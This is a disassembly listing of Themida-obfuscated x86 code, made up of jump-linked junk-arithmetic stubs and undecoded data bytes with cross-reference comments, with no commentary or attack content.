		dd 24048124h, 23186ECCh, 4EC8158h, 0E9000000h, 0FFFFA41Dh
		dd 9697EF81h, 73E92CF6h, 1000082h, 0DF1AE9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CD56:				; CODE XREF: Themida_:00560002j
		mov	dl, ch
		pop	ecx
		jmp	loc_569F24
; ---------------------------------------------------------------------------
		dw 0F321h
		dd 0FCBD555Eh, 5500040Fh, 9491E9h, 44C38100h, 0E96E4156h
		dd 0FFFFAADCh
; ---------------------------------------------------------------------------


loc_55CD78:				; CODE XREF: Themida_:005645DDj
		mov	eax, edx
		pop	edx
		jmp	loc_56ABDF
; ---------------------------------------------------------------------------


loc_55CD80:				; CODE XREF: Themida_:00562C83j
		add	edx, 5F192233h
		push	edx
		push	2D6Ah
		jmp	loc_56AF84
; ---------------------------------------------------------------------------


loc_55CD91:				; CODE XREF: Themida_:00559949j
		pop	dx
		xor	bl, 0F8h
		xor	ch, bl
		pop	ebx
		sub	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56440F
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 78h
		dd 81FEB2D5h, 11353AEDh, 0A3ED812Eh, 10F2136h, 0B852E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CDC2:				; CODE XREF: Themida_:0056A20Fj
		add	esp, 4
		push	edx
		mov	edx, 40832EE8h
		add	edx, 1
		and	edx, 2D85E6Eh
		xor	edx, 5ADB23BCh
		shl	edx, 5
		push	edi
		mov	edi, 6C0D48C2h
		xor	edx, edi
		pop	edi
		jmp	loc_5695EC
; ---------------------------------------------------------------------------
		dw 0CC80h
		dd 0FFC480CDh, 5303ECC0h, 0FC00A1B7h, 581BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CE01:				; CODE XREF: Themida_:0055B54Aj
					; Themida_:005607C2j
		sub	esp, 4
		jmp	loc_5600DF
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 52592434h, 0C281E289h, 4, 4BF57h, 0FA010000h
		dd 0FFEE4CE9h, 83D101FFh, 3C8904ECh, 5A60BF24h,	0F9291A60h
		dd 94E9815Fh, 8B362277h, 0C4832414h, 4A7F6804h,	14890000h
		dd 6F21E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE52:				; CODE XREF: Themida_:005682C2j
		mov	esi, edx
		jmp	loc_5673E0
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 0E8E95551h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE63:				; CODE XREF: Themida_:00555EEDj
		push	ebp
		jmp	loc_5628A0
; ---------------------------------------------------------------------------
aTxrsI		db 'TXRé',0Bh,'›',0
		dd 24048B00h, 0E9E68956h, 0FFFF93E1h, 0E9E4EF81h, 0FD01A95Dh
		dd 47ED815Fh, 173DC1Eh,	0ED26E9CDh, 0E589FFFFh,	4BE56h
		dd 0F5010000h, 4ED815Eh, 87000000h, 248B242Ch, 272FE924h
		dd 8B660000h, 7D682404h, 8900007Dh, 0E954241Ch,	0FFFFF556h
		dd 0C8E9F531h, 6800002Ch, 338h,	89240C89h, 0A03EE9E1h
		dd 815C0000h, 4C1h, 0F8BA5200h,	5122B101h, 7769BE56h, 0F1892566h
		dd 8124348Bh, 4C4h, 8BCA3100h, 0C481240Ch, 4, 8971C281h
		dd 0D101F828h, 0E389535Ah, 1F44B951h, 0F1870580h, 0F187D6F7h
		dd 0C181D1F7h, 23EC6262h, 37DE981h, 79E90268h, 300000DAh
		dd 240C8BC8h, 0E904C483h, 8CCh,	4EC835Ah, 0E9241489h, 0FFFFA895h
		dd 0A5E9C289h, 890000D0h, 4C581E5h, 51000000h, 225B09B9h
		dd 65E1812Ah, 81291E05h, 0CF6634F1h, 4E9C15Dh, 5324E181h
		dd 0E9C16D04h, 40E98103h, 2900A08Ah, 8E959CDh
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF7F:				; CODE XREF: Themida_:0055FFDBj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 3ECDE900h, 34FF0000h, 242C8B24h, 4C481h
		dd 0E3E90000h, 1000030h, 0E9575FF8h, 393Ah, 0E924348Bh
		dd 2FE2h, 6604C483h, 0DC37E952h, 5266FFFFh, 0D430F2B2h
		dd 0B1515A66h, 7E1C0E6h, 8008E1C0h, 0B65202E9h,	0CFEE80FEh
		dd 805AF128h, 0ADE936E9h, 81FFFFBCh, 4C4h, 0FFD92100h
		dd 1C8B2434h, 4C48324h,	7A3CE9h, 4E1C100h, 5104E9C1h, 0B39CE9h
		dd 32FF6400h, 0FF8C9FE9h, 68FE30FFh, 59ECh, 50241C89h
		dd 0E388F488h, 0CABEE958h, 0E955FFFFh, 0BD5Bh, 815AD089h
		dd 93E07EAh, 68C20133h,	0C97h, 0BD242C89h, 33093E07h, 8E9EA01h
		dd 0F7000068h, 0E9E8D1D0h, 40F9h, 6F78C381h, 0FB29546Bh
		dd 6F78BE56h, 0F329546Bh, 7DC3815Eh, 5F260D24h,	0E924048Bh
		dd 0FFFFD0EEh
; ---------------------------------------------------------------------------


loc_55D088:				; CODE XREF: Themida_:0055A2F7j
		sub	ebp, 4
		jmp	loc_55F3DB
; ---------------------------------------------------------------------------
aIHqh		db '‰<$hQH',0
		dw 8900h
		dd 4568241Ch, 5B464E02h, 8904EC83h, 0FF5F241Ch,	25E92434h
		dd 580000B9h, 0DC6EE957h, 0CE290000h, 30E1E9h, 0BEA8100h
		dd 8B7B201Ch, 0C483241Ch, 4C28304h, 0FFC365E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D0D5:				; CODE XREF: Themida_:0055E275j
		add	ecx, ebx
		pop	ebx
		sub	ebx, 39A85D91h
		sub	ebx, ecx
		add	ebx, 39A85D91h
		mov	ecx, [esp]
		jmp	loc_55B964
; ---------------------------------------------------------------------------


loc_55D0EE:				; CODE XREF: Themida_:0055640Fj
		add	esp, 4
		jmp	loc_564ED7
; ---------------------------------------------------------------------------


loc_55D0F9:				; CODE XREF: Themida_:00564B71j
		pop	edx
		jmp	loc_55E692
; ---------------------------------------------------------------------------
		db 8Fh
		dd 685C2404h, 387Ah, 6E95E9h, 59CB0100h, 0CE21E956h, 0EB90000h
		dd 0F7596274h, 0F818E9D9h, 48FFFFFh, 24248B24h,	0E9C8B70Fh
		dd 60EAh, 8B5BDD01h, 17E9240Ch,	89FFFFE6h, 0B050240Ch
		dd 2D8DE92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D146:				; CODE XREF: Themida_:0055B812j
		pop	esi
		add	esp, 4
		jmp	loc_564748
; ---------------------------------------------------------------------------


loc_55D14F:				; CODE XREF: Themida_:005691C6j
		add	esp, 4
		push	5575h
		mov	[esp], esi
		mov	esi, 4
		push	ebp
		mov	ebp, 418C69E4h
		add	edx, 37801D5Bh
		add	edx, 22FA6628h
		add	edx, ebp
		sub	edx, 22FA6628h
		sub	edx, 37801D5Bh
		pop	ebp
		sub	edx, 492F474Bh
		add	edx, esi
		add	edx, 492F474Bh
		jmp	loc_55D2CF
; ---------------------------------------------------------------------------
		db 81h
		dd offset byte_5B6EF7
		dd 5FF9014Dh, 1E35F181h, 0A6814EBh, 89000062h, 0AAE92434h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D1AF:				; CODE XREF: Themida_:005628DCj
		push	edi
		push	eax
		push	ebp
		mov	ebp, 67565F49h
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		neg	edi
		add	edi, 67565F4Dh
		add	ebx, edi
		pop	edi
		jmp	loc_55B20D
; ---------------------------------------------------------------------------


loc_55D1CD:				; CODE XREF: Themida_:0056A417j
		dec	edi
		push	eax
		mov	eax, 4ABC43CCh
		and	eax, 1AE644B6h
		add	eax, 0F55BBF7Dh
		jmp	loc_55C130
; ---------------------------------------------------------------------------
		db 81h
		dd 0EA2E12EAh, 0F7DAF737h, 0F924E9D2h, 0F831FFFFh, 0FF2434FFh
		dd 835F2434h, 0C48104C4h, 4, 605D68h, 240C8900h, 65BE9h
		dd 97F78100h, 53428FDEh, 88E9FB89h, 80FFFFD2h, 0B0687BC5h
		dd 0E900003Ch, 0FFFFDF2Ch, 8102EEC1h, 27D9BAEEh, 8E56E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D23A:				; CODE XREF: Themida_:0055855Cj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_56B265
; ---------------------------------------------------------------------------
		dd 27DF2DADh, 0F32D745Dh, 0E91FD73Ah, 0FFFFE3E7h, 81E18951h
		dd 4C1h, 47156800h, 3C890000h, 0C76CE924h, 0BD55FFFFh
		dd 30CC5895h, 8103E5C1h, 63044EE5h, 81D5F716h, 6E0E18C5h
		dd 9CED8110h, 29FF26B2h, 0CE295DEEh, 5773BA52h,	0D6010AE5h
		dd 240C8B5Ah, 4C481h, 412D0000h, 1500641h, 414105F0h, 505E5006h
		dd 815A5452h, 4C2h, 93E95500h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D2CF:				; CODE XREF: Themida_:0055D18Ej
		sub	edx, 418C69E4h
		jmp	loc_56A24F
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 12D52A74h, 0FFC2D1E9h, 0E1BF57FFh, 296BE11Fh, 6B255FF8h
		dd 520D1A00h, 0BE56E289h, 4, 835EF201h,	9EE904EAh, 66FFFFEEh
		dd 0E9241C8Bh, 0CAA1h, 642004B9h, 0E9C80140h, 5BFh
; ---------------------------------------------------------------------------


loc_55D31C:				; CODE XREF: Themida_:0055BE6Fj
		pop	ebx
		jmp	loc_560DA9
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 5BD828A6h, 0DAE9AF04h, 0E9000067h, 0FFFF8990h, 8904EC83h
		dd 0BD66242Ch, 665161BBh, 66100B68h, 0E1816659h, 0F5E91CC3h
		dd 5200002Bh, 3471B8BAh, 8625E900h, 0E95B0000h,	65A2h
		dd 0C95A13BBh, 19C3817Eh, 5617FB01h, 0B4E060BEh, 5EF32967h
		dd 1C8BD931h, 48B76824h, 14890000h, 0D6F3E924h,	3489FFFFh
		dd 4EC8324h, 0E9240489h, 2DDh, 8841F380h, 0F0285BDEh, 0FF9036E9h
		dd 11032DFFh, 0E8C11247h, 0C69DE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D3AE:				; CODE XREF: Themida_:00561740j
		xor	[esp], eax
		pop	edx
		push	eax
		push	64EEh
		jmp	loc_55C7F4
; ---------------------------------------------------------------------------


loc_55D3BD:				; CODE XREF: Themida_:00556AC3j
		sub	edi, edx
		jmp	loc_55AA18
; ---------------------------------------------------------------------------


loc_55D3C4:				; CODE XREF: Themida_:0055A80Dj
		add	ebp, 746C4301h
		jmp	loc_5640CD
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFEDFCE9h, 51D8F7FFh, 481E88B9h, 59C82171h,	9F34050Dh
		dd 0EBA00556h, 0C289D4C6h, 4EC8358h, 50243C89h,	992458B8h
		dd 2DD0F723h, 912B916Dh, 48BC789h, 4C48324h, 0F706EFC1h
		dd 0DCF81DFh, 0C11C197Ah, 515306EFh, 79BE9h, 0F6815E00h
		dd 0B4F4C9C3h, 0FFE979E9h, 2B8FFh, 0C3010000h, 6FC86858h
		dd 1C890000h, 2474FF24h, 241C8B04h, 425EE9h, 24143300h
		dd 33241431h, 835C2414h, 1C8904ECh, 81E38924h, 4C3h, 4BF5700h
		dd 29000000h, 2D07E9FBh, 8B660000h, 8956240Ch, 0C1E950E6h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D477:				; CODE XREF: Themida_:00564F1Bj
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		add	bl, al
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55CBFA
; ---------------------------------------------------------------------------
		db 4Dh
		dd 1D6EED81h, 0CD810A9Dh, 3B9B1E94h, 8104E5C1h,	7BB7D7EDh
		dd 0E9EA313Bh, 0FFFFB47Ah, 56C6BF57h, 0C68140C6h, 338371E2h
		dd 24E9FE29h, 81000027h, 0E81C67E9h, 0E9D90124h, 94E7h
; ---------------------------------------------------------------------------


loc_55D4D0:				; CODE XREF: Themida_:00556FF1j
		push	ebx
		push	esi
		mov	esi, 0
		mov	ebx, esi
		jmp	loc_55EB72
; ---------------------------------------------------------------------------
		dw 0FD28h
		dd 59E8285Bh, 8B665B66h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	bl, 5
		push	eax
		mov	ah, 86h
		push	edx
		mov	dl, 69h
		shr	dl, 5
		xor	dl, 0E1h
		or	ah, dl
		pop	edx
		not	ah
		sub	ah, 0F9h
		sub	ah, 0Ah
		jmp	loc_55BE48
; ---------------------------------------------------------------------------


loc_55D524:				; CODE XREF: Themida_:00569D7Ej
		pop	ebp
		push	edi
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_5689BE
; ---------------------------------------------------------------------------
		dd 5BD90158h, 252C9F2Dh, 0D491E954h, 14890000h,	689FBA24h
		dd 0D58908ABh, 8124148Bh, 4C4h,	8BC53100h, 0C4832404h
		dd 8BE80104h, 0E956242Ch, 0FFFFB440h, 78B2BD55h, 0C581325Ah
		dd 213E1013h, 3A8DC581h, 0EDC13044h, 8A39E908h,	0B68FFFFh
		dd 89000074h, 1C68241Ch, 89000060h, 0EBE92424h,	88000065h
		dd 9005E9C3h, 2C31FFFFh, 242C3324h, 0FFEE65E9h,	58C731FFh
		dd 3C8BFA01h, 0D87E924h, 48B0000h, 4C48124h, 57000000h
		dd 7F1CE9h, 2414F700h, 9BF2815Ah, 0E940F65Ch, 0FFFFAF06h
; ---------------------------------------------------------------------------


loc_55D5D0:				; CODE XREF: Themida_:0055E8DFj
		add	ebx, edx
		pop	edx
		add	ebx, eax
		sub	ebx, 4BA41814h
		pop	eax
		push	ecx
		mov	ecx, ebx
		push	ecx
		push	694Eh
		mov	[esp], ebp
		mov	ebp, 46166869h
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		jmp	loc_56A240
; ---------------------------------------------------------------------------


loc_55D5F8:				; CODE XREF: Themida_:005563B2j
		pop	ebp
		neg	ebp
		shl	ebp, 4
		and	ebp, 6D5D74AEh
		and	ebp, 2FDC0B6Fh
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		xor	ebp, 0E0B3E56Dh
		xor	ebx, ebp
		pop	ebp
		jmp	loc_565A9B
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 1E676824h, 24890000h, 24048124h
		dd 4, 6112E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D639:				; CODE XREF: Themida_:0055C80Bj
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5603CD
; ---------------------------------------------------------------------------
		db 57h
		dd 42474FFh, 5B79E9h, 7B0A6800h, 405855B2h, 885C0540h
		dd 5E500AF1h, 0F0E5E958h, 0C101FFFFh, 0F88C181h, 0E98134E4h
		dd 57333B04h, 6B3BE9h, 1542D00h, 0D82932ABh, 0AB015405h
		dd 0CE055B32h, 0E901276Bh, 0FFFFD9F4h, 51241C89h, 0CB88C188h
		dd 5BDE8859h, 0FC885051h, 0E4E9E188h, 5F0000A2h, 5EA8EB81h
		dd 7CE96F54h, 8B0000B0h, 0FAE92424h, 0FFFFFFAFh, 8B042474h
		dd 0CAE9241Ch, 100003Dh, 241C8BDDh, 8104C483h, 4C5h, 74FF5500h
		dd 8F5D0424h, 0FF5C2404h, 4BE92434h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D707:				; CODE XREF: Themida_:00561A87j
		pop	esp
		add	esp, 4
		not	esi
		inc	esi
		push	ebx
		mov	ebx, 443CE50Ch
		sub	esi, ebx
		pop	ebx
		jmp	loc_55A5B5
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 24048700h, 0AE1AE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D72E:				; CODE XREF: Themida_:00565512j
		mov	ebp, 77217A1Ch
		jmp	loc_55B026
; ---------------------------------------------------------------------------
		dd 4C481h, 0BF680000h, 8900000Bh, 0EBE9240Ch
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D74B:				; CODE XREF: Themida_:00565C04j
		pop	ecx
		push	1B1Ch
		mov	[esp], ecx
		mov	ch, 5Fh
		xor	ch, 19h
		shr	ch, 8
		dec	ch
		push	eax
		mov	ah, 94h
		add	ch, ah
		pop	eax
		shl	ch, 3
		push	ebx
		mov	bl, 0E5h
		jmp	loc_564B63
; ---------------------------------------------------------------------------
aS5		db ']é)5',0
		dd 2434FF00h, 77A2E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D77E:				; CODE XREF: Themida_:00559EDCj
		pop	esi
		shl	edi, 8
		jmp	loc_560AA4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 45711244h, 3D0568h, 6CB5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D796:				; CODE XREF: Themida_:0055E91Bj
		pop	edi
		sub	esi, ebx
		pop	ebx
		jmp	loc_557DFF
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8C07F22Dh, 8BC20174h, 0C4812404h, 4,	4EC81h,	3C890000h
		dd 0C1B85024h, 546893Dh, 0FFFFFFFFh, 0A3E9D8F7h, 81FFFF93h
		dd 8D1D63C6h, 2434FF75h, 4C4815Fh, 33000000h, 34312434h
		dd 24343324h, 6624248Bh, 2404AB0Fh, 84D2E99Ch, 6304FFFFh
		dd 6CAFE9h, 243C8B00h, 0E904C483h, 0FFFFCFE3h, 535BD830h
		dd 5FB75351h, 0FD28B1B5h, 836EE95Bh, 53520000h,	0F9141DBBh
		dd 0A5F0E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D822:				; CODE XREF: Themida_:00559159j
		sub	ebx, 23A072FEh
		sub	eax, 419F41E5h
		sub	eax, 486F538Eh
		add	eax, 17AA174Dh
		add	eax, ebx
		push	ecx
		mov	ecx, 17AA174Dh
		jmp	loc_568332
; ---------------------------------------------------------------------------
aXHmj		db 'X[hmj',0
		dw 8900h
		dd 0C8B242Ch, 4C48124h,	8B000000h, 0ABE9242Ch
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D85F:				; CODE XREF: Themida_:00561A24j
		not	byte ptr [esp]
		pop	cx
		add	cl, 7Fh
		jmp	loc_558A11
; ---------------------------------------------------------------------------
		dd 240313B9h, 56D9F717h, 43D5B951h, 7FE97319h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D87F:				; CODE XREF: Themida_:0055924Bj
		pop	ebx
		push	ebx
		jmp	loc_56454C
; ---------------------------------------------------------------------------
aIS		db '‰<$éß',0Dh,0
		align 2


loc_55D88E:				; CODE XREF: Themida_:0055F605j
		xor	edi, 533A1E6Bh
		add	eax, edi
		pop	edi
		sub	eax, 4
		push	eax
		jmp	loc_565916
; ---------------------------------------------------------------------------
		dd 5DC168h, 243C8900h, 9BCFE9h,	0E98DB600h, 940Ch, 41AEF781h
		dd 0FA29C0AAh, 42EAD15Fh, 0A40CF281h, 5DE907CFh, 4B000096h
		dd 8F9CE9h, 0F8285B00h,	42E9A52Ch, 59FFFFF3h, 48BC229h
		dd 4C48324h, 31241433h,	14332414h, 24248B24h, 0E9241C89h
		dd 0FFFF9A07h
; ---------------------------------------------------------------------------


loc_55D8F8:				; CODE XREF: Themida_:005591B5j
		pop	eax
		dec	edi
		not	edi
		push	3E8Ah
		mov	[esp], ecx
		push	5A297F6Dh
		pop	ecx
		sub	ecx, 6F2EE4A7h
		add	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		xor	[edx], esi
		jmp	loc_56B033
; ---------------------------------------------------------------------------
		db 31h,	0F7h, 4Eh
		dd 0FE31F731h, 7268F731h, 89000002h, 80BB241Ch,	956324Ah
		dd 2A35E9DFh, 0C6810000h, 4, 1362BF57h,	2FE9151Ch, 0FF00000Ah
		dd 34FF2434h, 24048B24h, 0E9E08950h, 8530h, 0B7241C89h
		dd 2D6866C3h, 4896640h,	2004B424h, 0D670E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D972:				; CODE XREF: Themida_:0055DB6Fj
		sub	esp, 4
		mov	[esp], ebx
		xchg	ebx, [esp]
		jmp	loc_560EB5
; ---------------------------------------------------------------------------


loc_55D983:				; CODE XREF: Themida_:00565D76j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_5659B4
; ---------------------------------------------------------------------------
		dd 15B9EE81h, 3868064Bh, 0E9000052h, 5FB2h, 0E181D9F7h
		dd 6CF42404h, 0F181D1F7h, 7F1B0144h, 0DABDE981h, 0C801E814h
		dd 0FFFD53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D9C9:				; CODE XREF: Themida_:00557A43j
		sub	[esp], ah
		mov	ah, [esp]
		add	esp, 4
		inc	ah
		xor	ah, 6Fh
		add	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	bl, ah
		sub	bl, 0F4h
		pop	ax
		jmp	loc_55BA67
; ---------------------------------------------------------------------------
		db 5Fh
		dd 592434FFh, 4C481h, 0A7E90000h, 5C00003Eh, 0E9242C89h
		dd 0FFFFCD36h, 0E959CB88h, 42D7h
; ---------------------------------------------------------------------------


loc_55DA10:				; CODE XREF: Themida_:005674E5j
		push	edi
		push	esi
		jmp	loc_55FDC6
; ---------------------------------------------------------------------------
		db 0F7h
		dd 8C1035D0h, 0C621F499h, 2C3A6858h, 4890000h, 4AB95124h
		dd 89014647h, 5E48E9C8h, 34870000h, 8DADE924h, 68FFFFh
		dd 29000000h, 34FF243Ch, 0C4835F24h, 3DF78104h,	89E2DBB2h
		dd 88E95FFEh, 56FFFF9Bh, 0C6815E54h, 4,	4C681h,	34870000h
		dd 3085E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA72:				; CODE XREF: Themida_:00560649j
		sub	ebx, 401B6E6Ch
		push	ebp
		mov	ebp, ebx
		mov	ecx, ebp
		pop	ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	78A2h
		mov	[esp], edx
		jmp	loc_55E1E4
; ---------------------------------------------------------------------------


loc_55DA97:				; CODE XREF: Themida_:00557C1Bj
		add	ebp, 0C7068867h
		mov	ebx, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_5615DF
; ---------------------------------------------------------------------------


loc_55DAA7:				; CODE XREF: Themida_:00559A96j
		xchg	eax, ebx
		shr	eax, 2
		shl	eax, 6
		or	eax, 1586EC4h
		jmp	loc_568553
; ---------------------------------------------------------------------------
		dd 146E5B68h, 24048B7Fh, 0A24CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DAC5:				; CODE XREF: Themida_:005698F8j
		mov	eax, [esp]
		push	ecx
		jmp	loc_568ED2
; ---------------------------------------------------------------------------


loc_55DACE:				; CODE XREF: Themida_:00567317j
		mov	esi, esp
		add	esi, 4
		jmp	loc_559A84
; ---------------------------------------------------------------------------
		db 81h
		dd 0A8677FF6h, 0E9F129FFh, 0FFFFE56Dh, 24148966h, 2F27E9h
		dd 665E6600h, 66243487h, 0E9243C8Bh, 38F2h
; ---------------------------------------------------------------------------


loc_55DB00:				; CODE XREF: Themida_:00568788j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1B637B01h
		or	ebp, edi
		pop	edi
		add	ebp, 0BD949EADh
		jmp	loc_563918
; ---------------------------------------------------------------------------
		dd 815EF331h, 4ECh, 240C8900h, 773607B9h, 0AA5EE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB32:				; CODE XREF: Themida_:0055E3A1j
		add	edx, 40DB7E0Eh
		pop	ebp
		push	edi
		push	edx
		mov	edx, 9554A3Bh
		push	eax
		mov	eax, 59926D31h
		push	ecx
		mov	ecx, 45344400h
		neg	ecx
		jmp	loc_559C05
; ---------------------------------------------------------------------------
		db 54h
		dd 4BB535Eh, 0E9000000h, 18AEh,	84E9E789h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB67:				; CODE XREF: Themida_:0055A4A2j
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_55D972
; ---------------------------------------------------------------------------
		dd 2474FF57h, 48F5F04h,	25F5E924h, 0EB280000h, 0EB805859h
		dd 16EB809Bh, 0B151C300h, 0E9C9FE37h, 0FFFFB1BBh
; ---------------------------------------------------------------------------


loc_55DB98:				; CODE XREF: Themida_:0055AA1Cj
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55C237
; ---------------------------------------------------------------------------
		dd 5CF5BE56h, 0F1895860h, 78A6BB5Eh, 0CB29B7ADh, 0FDE94359h
		dd 33000058h, 0E95C2404h, 0D057h, 53FFBE56h, 0BD555D9Fh
		dd 0D427AFEh, 815DEE29h, 0A668E8E6h, 5C68147h, 81FEBC25h
		dd 676CBAC6h, 6E6C125h,	4E04EEC1h, 0FFF627E9h, 0E92BB3FFh
		dd 941h, 15DE901h, 0BE981F9h, 5F286B3Bh, 31240C33h, 0C3E9240Ch
		dd 81FFFFC1h, 0A789B9C3h, 0FFD83125h, 835B2434h, 0C9E904C4h
		dd 5B0000D3h, 24048B5Ah, 0FFA9A1E9h, 6E1668FFh,	815955A2h
		dd 430AA6C3h, 81CB2966h, 430AA6EBh, 0CB015966h,	6E16C381h
		dd 0D26855A2h, 89000064h, 0DE9242Ch, 0AC00006Bh, 53A9E9h
		dd 241C8900h, 0FD4413BBh, 0ECE38165h, 0F77A3E36h, 55C381DBh
		dd 8182AB35h, 97005FC5h, 81DD2963h, 97005FEDh, 241C8B63h
		dd 4C481h, 0C1810000h, 56572B3Eh, 0E981E901h, 56572B3Eh
		dd 0E9242C8Bh, 0AC51h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_558B4B
; ---------------------------------------------------------------------------


loc_55DCBD:				; CODE XREF: Themida_:00556A8Cj
		mov	ecx, 6181339Eh
		dec	ecx
		or	ecx, 34A418BFh
		sub	ecx, 4AD8126Ah
		inc	ecx
		xor	ecx, 2FA5A3D3h
		add	esi, ecx
		jmp	loc_556DDB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4B850h, 0E1E90000h, 81FFFFD5h, 4C6h,	0ECA1E900h, 0E956FFFFh
		dd 99FDh, 95E957h, 73680000h, 0E9575634h, 0FFFFE190h, 2319BBBBh
		dd 0E9DA3121h, 568Eh
; ---------------------------------------------------------------------------


loc_55DD18:				; CODE XREF: Themida_:00555FDBj
		and	esi, 60DD235Dh
		push	2150h
		mov	[esp], ecx
		jmp	loc_5563FE
; ---------------------------------------------------------------------------


loc_55DD2B:				; CODE XREF: Themida_:0055F436j
		push	ebx
		mov	ebx, 4
		jmp	loc_558182
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 241C3304h, 33241C31h, 248B241Ch, 0BE0F6624h,	0D46866C8h
		dd 0C89664Dh, 7F6EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD56:				; CODE XREF: Themida_:00561909j
		add	ecx, 73BC7EACh
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55AC3A
; ---------------------------------------------------------------------------
		db 57h
		dd 0F7585F50h, 657DE9D0h, 0EC830000h, 24148904h, 0C92C57BAh
		dd 0B8EA812Fh, 0E9161467h, 8CAAh, 8B24048Fh, 2DE92424h
		dd 89FFFF7Fh, 4C781E7h,	83000000h, 3C8704C7h, 87E95C24h
		dd 0B8000069h, 22024423h, 91D0F740h, 0E991D1F7h, 0FFFFA98Ah
		dd 941342Dh, 5E8011Ch, 1C094134h, 0B40DE95Dh, 44290000h
		dd 34FF0424h, 0C4835824h, 24048B04h, 8304C483h,	3C8904ECh
		dd 66E95324h, 0BB0000A6h, 4B5671C7h, 0F200EB81h, 6168011Bh
		dd 8900007Fh, 23BD242Ch, 14A3B3Bh, 0E90C246Ch, 4BD8h, 2BDh
		dd 0F7EE8100h, 8141DF29h, 812852C6h, 0FEE811Dh,	11ABF43h
		dd 0FC681EEh, 0E91ABF43h, 0B6BCh, 0C781DF01h, 0B207B75h
		dd 1C63E9h, 24048F00h, 6824248Bh, 2CA7h, 0FF243489h, 18E92434h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE53:				; CODE XREF: Themida_:0055EBEEj
		mov	eax, 4
		add	ebp, eax
		jmp	loc_5602EA
; ---------------------------------------------------------------------------
aAQiZics3	db '€êïˆÔZˆçé3',1Bh,0
		align 4
